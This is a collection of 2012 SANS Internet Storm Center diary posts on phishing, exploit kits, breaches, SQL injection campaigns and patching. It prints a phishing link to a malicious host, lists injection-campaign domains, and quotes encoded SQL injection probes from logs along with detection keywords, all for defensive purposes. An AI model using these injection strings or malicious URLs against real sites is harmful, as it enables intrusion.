Defense-in-Depth (DiD)  is a term that is often used within the CyberSecurity world, but what does it really mean?  It basically means that we have the ability to monitor and control operations at different points within the enterprise infrastructure to give us a perspective from which we can defend our assets and resources.  An onion has layers (I know, cheap movie reference there) but unlike an onion, the layers in a defense in depth approach have different functions.

The two most common layers in a DiD onion is the network firewall and host-based antivirus.  These are proven technologies that address a number of threats, and I would call these a ‘must-have’ for any SOHO environment.  In spite of their maturity, these technologies have flaws old and new that have been exploited for years.  Compound this with the operational exceptions that are often put in place to support operational requirements, and the technologies become fairly limited.  An analogy a colleague gave me this week is, essentially, that “a firewall is like a prison with a single fence, and the AV are the guards in the middle that watch the fence.  When exceptions are put in place that tell these systems ‘don’t look here’ you are blinding the guards and crippling a small piece of that defense component”. 

So let’s talk about the firewall.  The firewall is an outstanding piece of network equipment, a critical piece of security infrastructure, that is good at stopping packets it has been told to stop, and reporting to us that it has stopped the traffic we asked it to stop.  It is also very good at passing traffic it has been told to ignore.  And here is where the fun begins.  One class of traffic that is mostly ignored, and for good cause, is outbound user traffic.   Human nature being what it is, accidents and mistakes happen, which leads to an inadvertent incident and possible compromise.  For example, when a user visits a compromised web page, that user then becomes a compromised user.

Now where is the antivirus?  The antivirus application is running right along, analyzing the files, folders, and transactions as configured.  The problem comes in this: Most instances of antivirus suites I have observed in deployment have many of the default settings still in place.  I know what these defaults are, and so do the hackers writing the exploits that are being slid through the firewall.  Additionally, there are files and folders that are often recommended by the software manufacturer to be excluded from antivirus analysis because it impacts their performance.  Hackers usually know this too :)  

So there are a number of threats that exist that these technologies do not address, even when tuned to be as secure as they can possibly be made.  Add to it an environment where you have mobile users, it gets even more tricky.  In the FW/AV DiD approach, as soon as the device leaves the corporate network it has lost half of the defense that was put in place to protect it. 

Some questions to ask:

What are we monitoring?
What are we not monitoring?

tony d0t carothers --gmail

Overview

Ever been sitting down to dinner with the family and get that phone call saying your computer has a virus and miraculously the person on the other end knows all about it and how to fix it immediately!? This week we cover https://isc.sans.edu/reportfakecall.html where you can send information about the call to help us better understand how common these calls are and what they might hope to achieve.

The form has been available for a few months and calls continue to be reported so  please take a moment to look it over in case you ever receive one of these calls. Never do any of the things they ask on a production or personal computer! As soon as there is sufficient data to generate meaningful reports, we'll let ya know so you can see the common threads of these calls.

Features

Previous coverage

• Diary by Dr. Ullrich including user comments - http://isc.sans.org/diary/Fake+tech+reps+calling/12874
• April 2, 2012 Daily Podcast talking about the calls - https://isc.sans.edu/podcastdetail.html?id=2437
• May 1, 2012 Daily Podcast announcing the form - https://isc.sans.edu/podcastdetail.html?id=2503
• May 2012 ISC Threat Update webcast
  • https://isc.sans.edu/podcastdetail.html?id=2539
  • https://www.sans.org/webcasts/isc-threat-update-20120509-95019

Here's how to get to the form on the ISC website

• Hover your mouse over the Data/Reports drop-down menu and select Report Fake Calls
• Click Report Fake Tech Support Calls from the https://isc.sans.edu/reports.html#collect section of the Reports page

The form is all optional information you choose to submit about the call. If we make an edit function later you will be able to append/amend your submission if you are logged into the ISC/DShield site when you fill out the form. We will not associate any reporting information with your id or email address. Please do not enter any personal information (like your phone number, or any data like credit card numbers the attacker tried to extract). If you suffered any damage from the attack, you may consider contacting law enforcement.

The form collects general information like caller's gender, non native accent to specific details like URL you might have been asked to visit and their phone number if callerID displayed it. Check out the entire form at https://isc.sans.edu/reportfakecall.html to get an idea of what to ask if you receive one of these cold calls of fill in and please submit if you have details to share.

Post suggestions or comments in the section below or send us any questions or comments in the contact form on https://isc.sans.edu/contact.html#contact-form
--
Adam Swanger, Web Developer (GWEB, GWAPT)
Internet Storm Center https://isc.sans.edu

Did you get a Better Business Bureau Complaint Today? I did, in fact, I got a couple of them.  I thought I'd go through a play by play of how I assess these things (there will be a lot of updates as I go through this in semi-real-time.)

Oh, there will also be very little obfuscation, so be careful with that.

Here's the message itself:

RE: Case# 9060933: Alfonso Palmer

Dear Company:

As you are aware, the Better Business Bureau contacted you regarding the above-named complainant, seeking a response to this complaint. Your position is available online.

The following URL (website address) below will take you directly to this complaint and you will be able to view the response directly on our website:

http://complainy.app.bbb.org/complaint/view/9060933/b/526398212f

The complainant has been notified of your response.

The BBB believes that your response adequately addresses the disputed issues and/or has exhibited a good faith effort to resolve the complaint. The complaint will close as "Administratively Judged Resolved" and our records will be updated.

If you fail to honor your agreement or if the consumer has information that disputes the accuracy of your firm's response, we will notify your office with substantiation to support the consumer's position and the case will be re-opened. Cases will not be re-opened without documentation or good cause.

The BBB appreciates this opportunity to serve you. Dispute Resolution Department.

Let's take a look at the headers:

Return-path: <complaints@bbb-email.org>
Envelope-to: kliston@REDACTED
Delivery-date: Fri, 10 Aug 2012 09:36:10 -0400
Received: from wsip-68-99-56-167.pn.at.cox.net ([68.99.56.167]:47037)
	by paradise.businessx.com with esmtp (Exim 4.77)
	(envelope-from <complaints@bbb-email.org>)
	id 1SzpNj-00010v-KU
	for kliston@REDACTED; Fri, 10 Aug 2012 09:36:07 -0400
Received: from apache by bbb-email.org with local (Exim 4.67)
	(envelope-from <complaints@bbb-email.org>)
	id EG95SG-22TJQ4-AR
	for <kliston@REDACTED>; Fri, 10 Aug 2012 07:36:01 -0600
To: <kliston@REDACTED>
Subject: RE: Case# 9060933: Alfonso Palmer
X-PHP-Script: bbb-email.org/sendmail.php for 68.99.56.167
From: "Better Business Bureau" complaints@boston.bbb.org
X-Sender: "Better Business Bureau" complaints@boston.bbb.org
X-Mailer: PHP
X-Priority: 1
MIME-Version: 1.0

So a simple spoof, from a likely bot-net in Cox.net, and my cheap spam-trap mailserver doesn't do any SPF or DKIM checking.

Take a look at the URL does the displayed match what's in the code? No, not at all.

<p><b><a href="http://ghanabook.com/SKpcrwai/index.html">http://complainy.app.bbb.org/complaint/view/9060933/b/526398212f</a></b>

Being lazy, I submit this URL to wepawet (http://wepawet.iseclab.org)

After waiting patiently it reports that the link is benign.  "ORLY," I think, "perhaps it's just pharma-spam then."

Comparing this to the other samples, the first URL differ, but the apartmentsinorlandonow.com is in common.  Perhaps the attackers are smart,and only kick out one answer?  Or maybe they know wepawet's IP addresses?

 The next step is use my own honeyclient instead of a known, public one.  Nothing fancy, just a laptop with ubuntu on it.  A couple of wgets, first to the apartmentsinorlandonow.com URL (which has only a document link to the next URL,) and the second to 216.231.139.102.  I didn't even disguise the user-agent, it happily dumps more obfuscated javascript at me.

Never underestimate the value of google during analysis.  A search for 216.213.139.102 turns up a very helpful report: http://urlquery.net/report.php?id=122828  Looks like an active blackhole exploit kit, and someone was looking at this a little over an hour before I was. We're after that next stage, the link to update_flashplayer.exe.

Let's pull that down with another wget request.  So now I've got about 150k of Win32 executable.  My new favorite little tool for static analysis is exiftool.  I was aware of EXIF data in image formats, but unaware that many other file formats also have handy metadata.  In this particular example, it may be interesting to note that the file's original timestamp is 2012:-8:10 05:42:09-04:00.

 I calculate the md5sum from the .exe and see if it's up on virustotal yet.  I'm 5 minutes behind the first submission time and a surprising 9 out of 42 vendors detect it already. 

More after lunch...

James brought this to my attention shortly after I checked in for my shift: http://us.blizzard.com/en-us/securityupdate.html

There are a few more details here: http://us.battle.net/support/en/article/important-security-update-faq

I'm going to repeat a little of what they said about what was accessed:

Here's a summary of the data that we know was illegally accessed:
North American-based accounts, including players from Latin America, Australia, New Zealand, and Southeast Asia

Email addresses
Answers to secret security questions
Cryptographically scrambled versions of passwords (not actual passwords)
Information associated with the Mobile Authenticator
Information associated with the Dial-in Authenticator
Information associated with Phone Lock, a security system associated with Taiwan accounts only

Accounts from all global regions outside of China (including Europe and Russia)

Email addresses

China-based accounts

Unaffected

At this time, there’s no evidence that financial information of any kind has been accessed. 
This includes credit cards, billing addresses, names, or other payment information. 

Note the bit in bold: "Answers to secret security questions."  As we saw with Mat Honan's ordeal earlier this week (http://www.emptyage.com/post/28679875595/yes-i-was-hacked-hard) the secret question isn't much of a barrier in an attack, and when they have the actual answer, password resets aren't much of a challenge.

So, Blizzard's recommendation to "change your password" is largely ineffective for North American customers.  If you're concerned about your account, change your security questions, and go with their two-factor solution too.

Just as a quick follow up on Daniel's diary from last week  (https://isc.sans.edu/diary.html?storyid=13813) regarding the liluhophilupop SQL injection run which has started up again as of approximately the 1st of August. 

This particular run is very similar to the one back in December 2011 with one minor variation, so far. The platform being attacked is still applications with MSSQL as the backend.  The target is to inject a php script which redirects, etc, etc (the usual rabbit hole).  The main difference between the two attacks is that this time many different domains are being injected rather than the one main domain as was the case in December.  Some of the comments on the previous diary entry provided some of the domains.  These are the ones I have found so far.  

• lasimp04risoned.rr.nu
• eighbo02rsbarr.rr.nu
• reque83ntlyin.rr.nu
• tentsf05luxfig.rr.nu
• andsto57cksstar.rr.nu
• brown74emphas.rr.nu
• tartis78tscolla.rr.nu
• senior78custome.rr.nu
• sfl20ewwa.rr.nu
• ksstar.rr.nu
• enswdzq112aazz.com
• www.bldked98f5.com
• www1.mainglobilisi.com
• xinthesidersdown.com
• inglon03grange.rr.nu
• senior78custome.rr.nu

rr.nu seems to be a nice spot for malicious domains.

The attack is ramping up slightly with search engines reporting approximately 235K pages infected at the moment.  BTW previous sites that were affected back in December are being revisited as part of this run.  So if that was you, then you may wish to check your log files to make sure you haven't been affected again. 

If you look through your logs look for  

--snip-- /somedirectory/somepage.asp  somevar=38272%27+declare+%40s+varchar% --snip--

(I usually just grep/search for declare, or varchar or char, that usually does the trick)
If that does not find it look for large URL queries (say longer than 1000 chars) or 500 errors

identify the injection variable used, in this case somevar=38272

When you look through your previous logs you will find entries similar to these.

--snip--  /somedirectory/somepage.asp  somevar=38272%2F%2A%2A%2For%2F%2A%2A%2F1%3D%40%40v --snip--
--snip--  /somedirectory/somepage.asp  somevar=38272%27%2F%2A%2A%2For%2F%2A%2A%2F1%3D%40%4 --snip--
--snip--  /somedirectory/somepage.asp  somevar=38272%27%2F%2A%2A%2For%2F%2A%2A%2F1%3D%40%40  --snip--

These are a initial tests to see if the application has some ready injection points.  

Take the IP address from these log lines and check your web logs again for those IP addresses and you will find other activities.  The user agent string is also good to use, as often these stay the same even though different IP addresses are being used. 

When you are doing remediation make sure the developers understand that any input that results in a SQL query can be used to inject, It does not have to be a form variable, any variable is fair game. All input must be validated prior to being used (and not just at the client end either). 

Thanks to those that provided some log records. Happy logging

Mark H

According to some new sources (thanks Alexander) a trojan is doing the rounds in the Netherlands at the moment causing major issues within organisations.

The web sites http://webwereld.nl/nieuws/111424/nieuwe-trojan-grijpt-wild-om-zich-heen-in-nederland.html and http://nos.nl/artikel/404668-computervirus-treft-ook-venlo.html (both in Dutch) report that a trojan is affecting a number of organisations.  According to the article the trojan affects already Zeus infected machines.  Fox-it has an analysis here http://blog.fox-it.com/2012/08/09/xdoccryptdorifel-document-encrypting-and-network-spreading-virus/ and some of the original information can be found here http://www.damnthoseproblems.com/?lang=en

According to the analysis the malware encrypts files which will be a problem for those without proper backups. 

If you have samples feel free to upload them to our contact form (ziped up with a password of infected please).

Mark

It is interesting to note that in most economies a significant percentage of the national Gross Domestic Product (GDP) is actually generated by small and mid-sized businesses. Why is this relevant to information security you might ask? SANS was recently asked if there are existing providers of IT security services to this market? If not, what would be the prerequisites to starting and running one? My response follows:

"Yes, I am aware of some businesses that provide IT Security services to SOHO, small, and mid-sized organizations. They tend to be rather small themselves and servicing a local area. The skills and certifications they have varies widely from none to quite advanced. Some are extensions of an existing computer repair shop for example that is branching out. Others are
actual IT Security professionals that are attempting to tap into this market area.

I would expect that the skills required would tend to consist of Intrusion Detection, Incident Response, Firewalls,
Anti-Malware, as well as general network and systems security. Certifications might include GCIA, GCIH, GCFW, and other more generic or vendor specific ones.

In my experience most small businesses do not have competent or mature IT support, the probability of them having IT Security is slim to none. The businesses owners might not perceive the threats, or do not believe they can afford to do anything about it.

One of the bigger hurdles such a provider might face is scalability while remaining financially viable."

Which brings us to an important question. If these small businesses are critical to our national economies and ongoing growth, are they adequately protected against attack that may target them? What about collateral damage from bots and other malware? Do they have the people and technologies required to defend their computers, networks, and information assets?

A question to the SANS Internet Storm Center readers is, what can be done for small business?

Please let us know wht you think using the comments below, or the contact form http://isc.sans.edu/contact.html.

Cheers,
Adrien de Beaupré
Intru-shun.ca Inc.

I will be teaching SANS Sec560 in Montreal this September, and Sec542 in Vancouver this December.

 

Few things are as juicy for the bad guys as getting a key-logger onto the computer of someone who manages payroll. HR/payroll employees tend to have access to personal data of staff and usually have some form of access to a well-stocked bank account that is used to pay the wages. Getting spyware onto such a computer used to be mostly "luck", but it looks like the crooks have stepped up their game, yet again:

For the past couple of weeks, companies that offer outsourced payroll management services have seen their name being abused for phishing scams. One prominent example is ADP, whose website [1] currently alerts their customers to four different samples of phishing emails that make the rounds and claim to be from ADP.

The average recipient of such a phish .. would have no idea who or what ADP is, and would be highly unlikely to "click". But a HR/Payroll employee of a company that actually uses ADP services would certainly be alarmed to read, for example, that his/her access to ADP is about to be cut off:

Hence, the odds are pretty high that someone who clicks on the link in the email is actually a HR/Payroll person. Combine the link with a nice fresh set of exploits that have near-zero detection in anti-virus, and you have a Get-Rich-Quick scheme for the crooks that's hard to beat.

One particular phish that ISC reader Richard sent to us two days ago wasn't all that hard to identify as a phish: The hover-your-mouse-pointer-over-the-link test showed clearly that the link in the Email was not going to ADP:

Those who clicked nonetheless, have likely been "had" though. The shown marottamare link redirected via three other web sites, and then ended up on 50.116.36.175, a very temporary home on what looks like a rented Linux VServer. From there, the exploits were delivered, and at least one of them, Java CVE2012-1723, is currently netting the bad guys a lot of illicit system access.

Antivirus detection rate is and stays low, three days later, it is still only at 8/41 on Virustotal. The main reason for this seems to be that the exploit packs are encoded - looking at the decompiled Java source shows functions like this one

which means that the original attack code and payload are split up into five byte blocks, and each of these individual five bytes is encoded by XOR with a different static value. For most anti-virus tools, it seems like all the bad guys need to escape detection again and again is to change the XOR values. Some of the AV tools are getting better at providing generic detection for encoded CVE2012-1723, but don't hold your breath...

As for defenses:

1. PATCH your Java JRE. CVE2012-1723 is deadly, and is widely being exploited in the wild at the moment. Even better, uninstall Java JRE completely from your computers if you can get away with it.

2. Make sure your HR and Payroll folks are treated to another round of "DONT CLICK ON THIS LINK" training. They are your first line of defense, and - given Antivirus' ineffectiveness - usually even your ONLY line of defense.

3. If you have an outsourced payroll provider, acquaint yourself with the email logs, so that you know how REAL email coming from this provider looks like. This knowledge is priceless during an incident, and might even help you to automatically block some of the more egregious phishes.

4. If you have any other tips to keep HR/Payroll staff protected against targeted payroll phishing, please use our contact form, or share in the comments below.

[1]  http://www.adp.com/about-us/trust-center/security-alerts.aspx

I opened a couple of polls earlier this year that asked the same basic question: "Which patch-release schedule do you prefer." (https://isc.sans.edu/diary.html?storyid=13531 and https://isc.sans.edu/diary.html?storyid=13150)

 My hypothesis was that security folks would prefer the ASAP model, while sysadmins would prefer the patch-day model. Based upon this sample, it looks like I'm wrong (for the stats folks, a two-way chi-square works out to about 1.12 indicating no link between the identified role and a preference of patch-release strategy.)  All that we can really bring from these two samples is that Storm Center readers who chose to participate prefer the "as soon as possible" delivery method for patches.

Out of the comments arose a short but helpful conversation, and a suggestion that I'd like to reiterate and support here: "Why not do both using a subscription model?"

What's so bad about scheduled release?

I'll be honest, the main diver for looking for a different solution comes from the pain I feel on MS Tuesday, especially when it also becomes Adobe and Oracle Tuesday. We don't get a lot of lead time to read through and assess the advisories before they become public, and people start demanding Swa's famous table. So primarily, it's all about me. No, not really, it's about quality. In the current model, we have perhaps an hour to look at 7.25 advisories (on average,) which means we mostly distribute the advisories and compare notes later. I'm certain that the quality of analysis and testing would go up if we instead had all of the handlers looking at one advisory.

There are some advantages to having a predicable release schedule. You can schedule when your patches deploy to limit internal outages, and you get a sense of confidence that patches are getting extra QA testing before they are released.

One undesirable and probably unexpected beneficiary of predictable release schedules are vulnerability marketplaces. While an unpatched vulnerability can demand a high price, as of the 2nd Tue, the vendor knows if they can continue to sell at that high price, or if they need to have a "sale." This makes it easier for them to value their product and extract a higher profit.

"I don't even know how you'd handle the 'as available' model."

So how would a shop that prefers a patch-Tuesday model deal with going back to the as-available model? Large environments don't roll out all of their patches at once, they usually go out in staggered stages. There's also nothing stopping you from setting up your own evaluation and deployment schedule so that patches become clustered and packaged, to be deployed at the schedule that works for your environment. The 2nd Tuesday might be convenient for Microsoft, but it doesn't have to be for you.  The point is, all of the benefits of a scheduled-release model can be preserved in an "as available" model.

"We have different Security Needs"

While everyone is under the constant risk of general web threats, drive-bys, and attacks of opportunity, there are others who are exposed to an extra level of hostile attention. These groups often lack real perimeters to help protect vulnerable systems, they need protection against the many office/application exploits that tend to target these groups and industries. Why extend their window of vulnerability unnecessarily?

Proposal: Have it Both Ways

It's very rare that an either/or problem has a viable "why not both" solution. This is perhaps one of those problems. Is there any compelling reason that MS could not provide a setting to determine when patches are deployed? They already have customizable settings for downloading, and installing automatically. Why not have one that performs a daily pull and update for the most aggressive users, while others might set the 3rd Saturday to be patch day for their builds. Certainly this could be handled by larger firms with WSUS, that would be updated in near-real-time and engineers could set the deployment schedule.

What could possibly go wrong?

First I thought that users getting the real time patches would put the batch-patchers at risk because it would give a new window where patch details are in-the-wild, while others are not patching. While this scenario already exists in environments that do staggered deployment, the vulnerable-population would be much larger in this new case. However, 80% of the advisories that have been published in 2012 acknowledge external parties in the advisories. So, details of the vulnerability are already outside of Microsoft's control, if not actually being exploited in-the-wild before release. Vulnerabilities that don't come from external sources could be scheduled for the regular Tuesday release to help mitigate the risk posed by that set of circumstances.

Adding this new patch feed shouldn't slow down remediation. It should speed it up for at-risk systems, while providing more control for deployment in larger firms and increasing uncertainty in the vulnerability-market. So vendors, please re-consider the predictable-release model.

Overview

This week's feature just went live so keep checking back as information is added and subscribe to the RSS to keep updated in your favorite reader! Introducing the Handler Select News feed at https://isc.sans.edu/handler_feed.html listing news items highlighted by the ISC Handlers.

Features

The top summary explains the page in detail and links to one of the news sources at https://isc.sans.edu/newssummary.html

Subscribe to the Handler Select News RSS feed! links to an RSS feed at https://isc.sans.edu/handler_feed.xml

Sort By -> Title, URL(linked in title), Date or Handler Rating.  Click again to reverse sort order.

Select News lists the current Handler Select News items

• Title links out to the full post
• From is the source of the news item
• Stars are the average rating from 1-5 by the handlers
• Full date/time of when the item was added to the Handler Select Feed

We have awesome additional features planned for this so stay tuned!

Post suggestions or comments in the section below or send us any questions or comments in the contact form on https://isc.sans.edu/contact.html#contact-form
--
Adam Swanger, Web Developer (GWEB, GWAPT)
Internet Stom Center https://isc.sans.edu

Opera released version 12.01 which contains some recommended security updates. Information regarding security and stability enhancements for the various version are available here: Windows changelog, Mac changelog, Unix changelog.

[1] http://www.opera.com/docs/changelogs/windows/1201/
[2] http://www.opera.com/docs/changelogs/mac/1201/
[3] http://www.opera.com/docs/changelogs/unix/1201/
[4] https://ssl.opera.com:8062/desktopteam/blog/2012/08/01/opera-12-01-security-and-stability-release

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

Google yesterday released Chrome 21, the latest version of Google's browser. In addition to the usual set of bug fixes (including some critical security patches), Chrome now joins Opera with support for the getUserMedia API.

getUserMedia is part of the larger HTML 5 ecosystem. HTML 5 includes not just new HTML tags. It is frequently used to represent a larger set of emerging standards for various browser APIs. getUserMedia will allow javascript to access microphones and cameras, something that hasn't been possible so far without special plugins. Usually Flash was used to collect images.

The getUserMedia API itself is part of "WebRTC". WebRTC ("Real Time Communication") will allow direct communication between browser. With WebRTC and getUserMedia, it will be possible to implement a video calling application using just HTML/Javascript without any plugins or other software.

From a security point of view, the critical problem is to protect the user from accidentally turning on the microphone and camera, or for a web application to turn it on without user permission. Google Chrome will show a warning message, asking the user for permission. Flash uses its own warning for this purpose, and has been subject to some clickjacking exploits that could be used to trick a user into giving it permission to use the camera/microphone.

This API has not been finalized yet. Expect changes, and bugs. Firefox will support it in version 16 (current . There is no word about support in Safari, but it is likely going to follow. If you wnat to experiment with it, see http://www.html5rocks.com/en/tutorials/getusermedia/intro/ for details and a demo.

Problably the best list of supported features by browser can be found at http://html5test.com

Camera Permission Dialog in Opera

 
Camera Permission Dialog in Chrome
 

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter